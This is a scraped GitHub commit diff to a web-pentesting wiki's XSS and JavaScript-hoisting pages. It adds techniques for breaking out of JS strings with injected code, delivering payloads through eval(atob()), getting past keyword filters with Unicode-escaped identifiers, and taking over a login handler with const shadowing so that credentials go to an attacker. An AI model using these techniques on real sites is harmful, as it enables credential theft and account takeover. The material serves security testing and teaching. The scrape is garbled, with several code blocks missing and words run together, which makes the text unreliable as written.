You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
When user input lands inside a quoted JavaScript string (e.g., server-side echo into an inline script), you can terminate the string, inject code, and repair the syntax to keep parsing valid. Generic skeleton:
549
+
550
+
```
551
+
" // end original string
552
+
; // safely terminate the statement
553
+
<INJECTION> // attacker-controlled JS
554
+
; a = " // repair and resume expected string/statement
555
+
```
556
+
557
+
Example URL pattern when the vulnerable parameter is reflected into a JS string:
558
+
559
+
```
560
+
?param=test";<INJECTION>;a="
561
+
```
562
+
563
+
This executes attacker JS without needing to touch HTML context (pure JS-in-JS). Combine with blacklist bypasses below when filters block keywords.
564
+
546
565
### Template literals \`\`
547
566
548
567
In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\
@@ -571,6 +590,25 @@ loop``
571
590
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
572
591
```
573
592
593
+
#### Deliverable payloads with eval(atob()) and scope nuances
594
+
595
+
To keep URLs shorter and bypass naive keyword filters, you can base64-encode your real logic and evaluate it with `eval(atob('...'))`. If simple keyword filtering blocks identifiers like `alert`, `eval`, or `atob`, use Unicode-escaped identifiers which compile identically in the browser but evade string-matching filters:
Important scoping nuance: `const`/`let` declared inside `eval()` are block-scoped and do NOT create globals; they won’t be accessible to later scripts. Use a dynamically injected `<script>` element to define global, non-rebindable hooks when needed (e.g., to hijack a form handler):
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
1515
1553
1554
+
### Hijack form handlers to exfiltrate credentials (const shadowing)
1555
+
1556
+
If a critical handler (e.g., `functionDoLogin(){...}`) is declared later in the page, and your payload runs earlier (e.g., via an inline JS-in-JS sink), define a `const` withthesamenamefirsttopreemptandlockthehandler. Laterfunctiondeclarationscannotrebinda `const` name, leavingyourhookin control:
- This relies on execution order: your injection must execute before the legitimate declaration.
1568
+
- If your payload is wrapped in`eval(...)`, `const/let` bindings won’t become globals. Use the dynamic `<script>` injection technique from the section “Deliverable payloads witheval(atob()) and scope nuances” to ensure a trueglobal, non-rebindable binding.
1569
+
- When keyword filters block code, combine with Unicode-escaped identifiers or `eval(atob('...'))` delivery, as shown above.
1570
+
1516
1571
### Keylogger
1517
1572
1518
1573
Just searching in github I found a few different ones:
Copy file name to clipboardExpand all lines: src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
+22-3Lines changed: 22 additions & 3 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -130,15 +130,34 @@ let config;` -
130
130
},
131
131
})
132
132
}
133
+
trigger()
133
134
```
134
135
136
+
### Preempt later declarations by locking a name with const
137
+
138
+
If you can execute before a top-level `function foo(){...}` is parsed, declaring a lexical binding with the same name (e.g., `const foo = ...`) will prevent the later function declaration from rebinding that identifier. This can be abused in RXSS to hijack critical handlers defined later in the page:
139
+
140
+
```javascript
141
+
// Malicious code runs first (e.g., earlier inline <script>)
- This relies on execution order and global (top-level) scope.
154
+
- If your payload is executed inside `eval()`, remember that `const/let` inside `eval` are block-scoped and won’t create global bindings. Inject a new `<script>` element with the code to establish a true global `const`.
0 commit comments